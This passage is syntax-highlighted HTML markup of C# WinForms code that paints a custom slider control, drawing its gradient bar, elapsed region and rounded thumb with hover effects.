#0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barHalfRect&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barRect</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barHalfRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">/=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gradientOrientation&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">LinearGradientMode</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbHalfRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">/=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedRect&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barRect</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">thumbSize&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//get&nbsp;thumb&nbsp;shape&nbsp;path&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">GraphicsPath&nbsp;thumbPath</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">thumbCustomShape&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbPath&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">CreateRoundRectPath</span><span style="color: #007700">(</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbRoundRectSize</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbPath&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">thumbCustomShape</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Matrix&nbsp;m&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Matrix</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">m</span><span style="color: #007700">.</span><span style="color: #0000BB">Translate</span><span style="color: #007700">(</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">thumbPath</span><span style="color: #007700">.</span><span style="color: #0000BB">GetBounds</span><span style="color: #007700">().</span><span style="color: #0000BB">Left</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">thumbPath</span><span style="color: #007700">.</span><span style="color: #0000BB">GetBounds</span><span style="color: #007700">().</span><span style="color: #0000BB">Top</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbPath</span><span style="color: #007700">.</span><span style="color: #0000BB">Transform</span><span style="color: #007700">(</span><span style="color: #0000BB">m</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//draw&nbsp;bar<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">LinearGradientBrush&nbsp;lgbBar&nbsp;</span><span style="color: #007700">=<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">LinearGradientBrush</span><span style="color: #007700">(</span><span style="color: #0000BB">barHalfRect</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barOuterColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barInnerColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">gradientOrientation</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">lgbBar</span><span style="color: #007700">.</span><span style="color: #0000BB">WrapMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">WrapMode</span><span style="color: #007700">.</span><span style="color: #0000BB">TileFlipXY</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">FillRectangle</span><span style="color: #007700">(</span><span style="color: #0000BB">lgbBar</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barRect</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//draw&nbsp;elapsed&nbsp;bar<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">LinearGradientBrush&nbsp;lgbElapsed&nbsp;</span><span style="color: #007700">=<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">LinearGradientBrush</span><span style="color: #007700">(</span><span style="color: #0000BB">barHalfRect</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">elapsedOuterColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">elapsedInnerColorPaint</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gradientOrientation</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">lgbElapsed</span><span style="color: #007700">.</span><span style="color: #0000BB">WrapMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">WrapMode</span><span style="color: #007700">.</span><span style="color: #0000BB">TileFlipXY</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Capture&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">drawSemitransparentThumb</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Region&nbsp;elapsedReg&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Region</span><span style="color: #007700">(</span><span style="color: #0000BB">elapsedRect</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedReg</span><span style="color: #007700">.</span><span style="color: #0000BB">Exclude</span><span style="color: #007700">(</span><span style="color: #0000BB">thumbPath</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">FillRegion</span><span style="color: #007700">(</span><span style="color: #0000BB">lgbElapsed</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">elapsedReg</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">FillRectangle</span><span style="color: #007700">(</span><span style="color: #0000BB">lgbElapsed</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">elapsedRect</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//draw&nbsp;bar&nbsp;band&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">Pen&nbsp;barPen&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Pen</span><span style="color: #007700">(</span><span style="color: #0000BB">barPenColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0.5f</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">DrawRectangle</span><span style="color: #007700">(</span><span style="color: #0000BB">barPen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barRect</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//draw&nbsp;thumb<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color&nbsp;newthumbOuterColorPaint&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">thumbOuterColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">newthumbInnerColorPaint&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">thumbInnerColorPaint</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Capture&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">drawSemitransparentThumb</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">newthumbOuterColorPaint&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">FromArgb</span><span style="color: #007700">(</span><span style="color: #0000BB">175</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbOuterColorPaint</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">newthumbInnerColorPaint&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">FromArgb</span><span style="color: #007700">(</span><span style="color: #0000BB">175</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbInnerColorPaint</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">LinearGradientBrush&nbsp;lgbThumb&nbsp;</span><span style="color: #007700">=<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">LinearGradientBrush</span><span style="color: #007700">(</span><span style="color: #0000BB">thumbHalfRect</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">newthumbOuterColorPaint</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">newthumbInnerColorPaint</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gradientOrientation</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">lgbThumb</span><span style="color: #007700">.</span><span style="color: #0000BB">WrapMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">WrapMode</span><span style="color: #007700">.</span><span style="color: #0000BB">TileFlipXY</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">SmoothingMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">SmoothingMode</span><span style="color: #007700">.</span><span style="color: #0000BB">AntiAlias</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">FillPath</span><span style="color: #007700">(</span><span style="color: #0000BB">lgbThumb</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbPath</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//draw&nbsp;thumb&nbsp;band<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color&nbsp;newThumbPenColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">thumbPenColorPaint</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">mouseEffects&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;(</span><span style="color: #0000BB">Capture&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">mouseInThumbRegion</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">newThumbPenColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ControlPaint</span><span style="color: #007700">.</span><span style="color: #0000BB">Dark</span><span style="color: #007700">(</span><span style="color: #0000BB">newThumbPenColor</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">Pen&nbsp;thumbPen&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Pen</span><span style="color: #007700">(</span><span style="color: #0000BB">newThumbPenColor</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br 